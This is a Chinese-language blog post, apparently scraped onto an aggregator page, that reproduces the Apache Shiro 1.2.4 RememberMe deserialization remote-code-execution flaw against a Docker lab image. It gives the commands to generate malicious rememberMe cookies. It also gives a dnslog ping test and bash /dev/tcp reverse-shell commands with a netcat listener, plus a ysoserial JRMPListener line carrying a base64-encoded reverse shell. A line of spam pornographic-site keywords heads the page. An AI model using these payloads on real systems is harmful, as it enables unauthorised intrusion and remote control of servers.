日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

發(fā)布時間:2024/3/13 编程问答 64 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Shiro RememberMe 1.2.4 反序列化命令執(zhí)行漏洞復現(xiàn)

  • 漏洞環(huán)境搭建
  • 漏洞復現(xiàn)
  • 反彈shell
  • 題外話1
  • 題外話2

影響版本:Apache Shiro <= 1.2.4
漏洞產(chǎn)生原因:

shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化。
然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數(shù)據(jù)造成反序列化的RCE漏洞。使用大佬腳本生成 payload(ysoserial.jar文件和運行目錄處于同一目錄)

漏洞環(huán)境搭建

1.拉取鏡像
docker pull medicean/vulapps:s_shiro_1
2.啟動環(huán)境
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
如需進入環(huán)境,命令為
docker exec -it name /bin/bash
3.web訪問
http://127.0.0.1 能看到如下頁面即可

或虛擬機外面用真實ip訪問
至此漏洞環(huán)境搭建成功

漏洞復現(xiàn)

1.抓包測試
查看返回包里setcookie有rememberme的字樣

2.繼續(xù)測試
首先最簡單的測試方法是用dnslog,看看是否有回顯。
利用POC生成想要執(zhí)行的命令對應的rememberMe
3.工具準備

生成payload的腳本使用的是python3,運行報錯就安裝一下模塊
4.生成payload:
雙引號中是想要執(zhí)行的命令,如果這里沒有公網(wǎng)VPS,就用dnslog來證明。攻擊原理一樣,不認可的杠精可直接懟

py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

運行結果如下圖:

然后便會在腳本所在目錄下生成文件payload.cookie

5.回到瀏覽器抓包

用payload.cookie中的rememberMe內(nèi)容加入Cookie中,或者直接放進參數(shù)中,提交看頁面回顯和dnslog頁面是否有數(shù)據(jù)過去
6.到ceye平臺查看日志記錄
dnslog日志刷新后有記錄了,說明payloda執(zhí)行成功

反彈shell

當然了,有VPS的情況下,為何不反彈一下shell呢?
1.使用腳本生成key
反彈shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS:ip假的,不打碼,觀看流暢
2.先公網(wǎng)VPS監(jiān)聽反彈shell的命令

nc -lvp 7878


3.加入payload,提交數(shù)據(jù)包

這里使用curl也能達到burp的效果

// 加 -I 是只看響應頭,這里主要關注set-cookie:rememberMe curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

講這個是因為此方法可以用來初步探測shiro信息

4.vps收到了反彈回來的shell

題外話1

研究這個漏洞,是因為客戶要求排查下資產(chǎn),然后找不到集成的工具和一鍵式檢查的。
漏洞的事情OK了,還是覺得自己太菜,要是代碼夠給力,寫個集成的丟github上就真的香。

題外話2

還有一個思路,看大佬文章時,這里一直沒搞懂。字面意思是用ysoserial中的JRMP監(jiān)聽模塊來搞定的,后續(xù)學會了再補上筆記

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'


參考鏈接:
https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

總結

以上是生活随笔為你收集整理的Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。